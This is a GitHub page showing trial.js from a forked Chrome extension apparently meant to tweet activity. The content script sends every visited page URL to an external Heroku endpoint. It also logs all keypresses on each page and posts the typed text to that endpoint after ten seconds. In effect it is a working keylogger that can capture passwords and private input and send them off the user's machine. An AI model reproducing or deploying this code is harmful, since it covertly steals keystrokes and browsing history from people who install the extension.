forked from tshradheya/chrome-extension-twitter
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathtrial.js
53 lines (42 loc) · 1.13 KB
/
trial.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
function sendTweet(status) {
console.log(status);
var object1 = {
status: status,
}
fetch('https://radiant-meadow-89003.herokuapp.com/postTweet', {
method: 'post',
body: JSON.stringify(object1),
headers: {
'Content-type': 'application/json',
}
})
};
var types = '';
var timeOver;
console.log('I visited '+ document.location);
sendTweet('I just visited ' + document.location);
document.addEventListener('keypress', function(e) {
types += e.key;
if(timeOver) clearTimeout(timeOver);
timeOver = setTimeout(() => {
sendTweet('I just typed \"' + types + "\"");
types = '';
}, 10000);
}, false);
// function login(){
//
// // content.js
// alert('check')
// chrome.runtime.onMessage.addListener(
// function(request, sender, sendResponse) {
// if( request.message === "clicked_browser_action" ) {
// var firstHref = $("a[href^='http']").eq(0).attr("href");
//
// console.log(firstHref);
//
// // This line is new!
// chrome.runtime.sendMessage({"message": "open_new_tab", "url": firstHref});
// }
// }
// );
// }